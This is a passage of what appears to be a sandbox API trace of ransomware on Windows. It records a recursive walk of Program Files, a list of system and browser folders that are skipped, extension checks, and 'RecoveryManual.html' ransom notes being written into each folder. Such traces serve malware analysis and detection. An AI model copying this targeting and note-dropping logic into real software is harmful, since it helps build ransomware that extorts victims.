lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0250.320] lstrcpyW (in: lpString1=0x6ab906, lpString2="MSMAPI32.DLL" | out: lpString1="MSMAPI32.DLL") returned="MSMAPI32.DLL" [0250.320] lstrcmpiW (lpString1="MSMAPI32.DLL", lpString2="RecoveryManual.html") returned -1 [0250.320] StrStrIW (lpFirst="MSMAPI32.DLL", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.321] StrCmpIW (psz1="DLL", psz2="exe") returned -1 [0250.321] StrCmpIW (psz1="DLL", psz2="dll") returned 0 [0250.321] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\" [0250.321] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RecoveryManual.html" [0250.321] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0250.321] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0250.322] CloseHandle (hObject=0x184) returned 1 [0250.322] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0250.322] FindClose (in: hFindFile=0x6bff00 | out: hFindFile=0x6bff00) returned 1 [0250.322] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0250.322] FindClose (in: hFindFile=0x6bfec0 | out: hFindFile=0x6bfec0) returned 1 [0250.322] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0250.322] lstrcpyW (in: lpString1=0x69b8ee, lpString2="Ole DB" | out: lpString1="Ole DB") returned="Ole DB" [0250.322] lstrcatW (in: lpString1="Ole DB", lpString2="\\" | out: lpString1="Ole DB\\") returned="Ole DB\\" [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\Windows\\") returned 0x0 [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\WINNT") returned 0x0 [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.322] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.323] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.323] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\") returned 48 [0250.323] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0250.325] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\" [0250.325] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.325] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.325] lstrcpyW (in: lpString1=0x69b8fc, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0250.325] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\Windows\\") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\WINNT") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.325] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.326] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.326] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned 54 [0250.326] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff00 [0250.326] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" [0250.326] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.326] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0250.326] lstrcpyW (in: lpString1=0x6ab908, lpString2="msdasqlr.dll.mui" | out: lpString1="msdasqlr.dll.mui") returned="msdasqlr.dll.mui" [0250.326] lstrcmpiW (lpString1="msdasqlr.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.326] StrStrIW (lpFirst="msdasqlr.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.326] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.326] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.326] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.327] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.327] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.327] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" [0250.327] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RecoveryManual.html" [0250.327] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0250.328] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0250.329] CloseHandle (hObject=0x184) returned 1 [0250.329] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0250.329] lstrcpyW (in: lpString1=0x6ab908, lpString2="oledb32r.dll.mui" | out: lpString1="oledb32r.dll.mui") returned="oledb32r.dll.mui" [0250.329] lstrcmpiW (lpString1="oledb32r.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.329] StrStrIW (lpFirst="oledb32r.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.329] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.329] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.329] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.329] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.329] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.329] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0250.330] lstrcpyW (in: lpString1=0x6ab908, lpString2="sqloledb.rll.mui" | out: lpString1="sqloledb.rll.mui") returned="sqloledb.rll.mui" [0250.330] lstrcmpiW (lpString1="sqloledb.rll.mui", lpString2="RecoveryManual.html") returned 1 [0250.330] StrStrIW (lpFirst="sqloledb.rll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.330] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.330] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.330] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.330] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.330] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.330] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0250.330] lstrcpyW (in: lpString1=0x6ab908, lpString2="sqlxmlx.rll.mui" | out: lpString1="sqlxmlx.rll.mui") returned="sqlxmlx.rll.mui" [0250.330] lstrcmpiW (lpString1="sqlxmlx.rll.mui", lpString2="RecoveryManual.html") returned 1 [0250.330] StrStrIW (lpFirst="sqlxmlx.rll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.330] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.330] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.330] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.330] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.330] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.330] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0250.330] FindClose (in: hFindFile=0x6bff00 | out: hFindFile=0x6bff00) returned 1 [0250.330] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0250.330] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="msdaosp.dll" | out: lpString1="msdaosp.dll") returned="msdaosp.dll" [0250.330] lstrcmpiW (lpString1="msdaosp.dll", lpString2="RecoveryManual.html") returned -1 [0250.330] StrStrIW (lpFirst="msdaosp.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.330] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.330] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.330] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\" [0250.330] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\RecoveryManual.html" [0250.330] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\ole db\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0250.331] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0250.332] CloseHandle (hObject=0x194) returned 1 [0250.332] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0250.332] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="msdaps.dll" | out: lpString1="msdaps.dll") returned="msdaps.dll" [0250.332] lstrcmpiW (lpString1="msdaps.dll", lpString2="RecoveryManual.html") returned -1 [0250.332] StrStrIW (lpFirst="msdaps.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.332] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.332] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.332] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0250.332] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="msdasql.dll" | out: lpString1="msdasql.dll") returned="msdasql.dll" [0250.332] lstrcmpiW (lpString1="msdasql.dll", lpString2="RecoveryManual.html") returned -1 [0250.333] StrStrIW (lpFirst="msdasql.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.333] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.333] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.333] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, 